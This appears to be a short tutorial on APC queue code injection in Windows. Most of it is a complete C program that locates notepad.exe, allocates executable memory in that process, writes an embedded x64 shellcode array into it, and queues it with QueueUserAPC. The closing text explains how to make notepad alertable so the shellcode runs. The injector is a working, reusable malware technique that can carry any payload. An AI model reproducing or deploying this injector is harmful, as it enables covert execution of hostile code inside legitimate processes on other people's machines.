APC Queue Code Injection
  • APC(Asynchronous Procedure Calls)
  • APC queues can be used to execute code asynchronously
  • We queue an APC to a thread
  • When the application gets scheduled, our queued APCs get executed
  • We cannot force the remote program to be scheduled
A program becomes alertable when it calls one of these 5 functions:
SleepEx()
SignalObjectAndWait()
WaitForsingleObjectsEx()
MsgWaitForMultipleObjectsEx()
WaitForMultipleObjectsEx()
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
unsigned char shellcode[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f,
0x6f, 0x00
};
unsigned int pay_len = sizeof(shellcode);
DWORD FindProcessPid(const char* name)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
if (hSnapshot)
{
if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
{
do
{
if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name
{
return pe32.th32ProcessID; // if its the same, return the process id
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
}
}
return -1; // returns negative one if the process is not found
}
HANDLE FindThread(int pid) {
HANDLE hThread = NULL;
THREADENTRY32 thEntry;
thEntry.dwSize = sizeof(thEntry);
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
while (Thread32Next(Snap, &thEntry)) {
if (thEntry.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
break;
}
}
CloseHandle(Snap);
return hThread;
}
int main(void) {
int pid = FindProcessPid("notepad.exe");
HANDLE hThread = FindThread(pid);
LPVOID pRem = NULL;
HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD)pid);
pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL);
QueueUserAPC((PAPCFUNC)pRem, hThread, NULL); // this is the only different thing, we ge QUeueUserAPC copy hte payload etc, then we use QUeueUserAPC poitner to the hellcode whic hwas allocated
CloseHandle(han_proc);
getchar();
return 0;
}
Let's compile this piece of code and run it.
You will not get your shellcode to run instantly, instead you some how have to coerce your application to be in an alertable state. Let's play around with notepad and try to get it to be alertable.
I found that trying to save a text file will cause it to become alertable and execute our shellcode
We can also see our remotely allocated shellcode in process hacker:
Copy link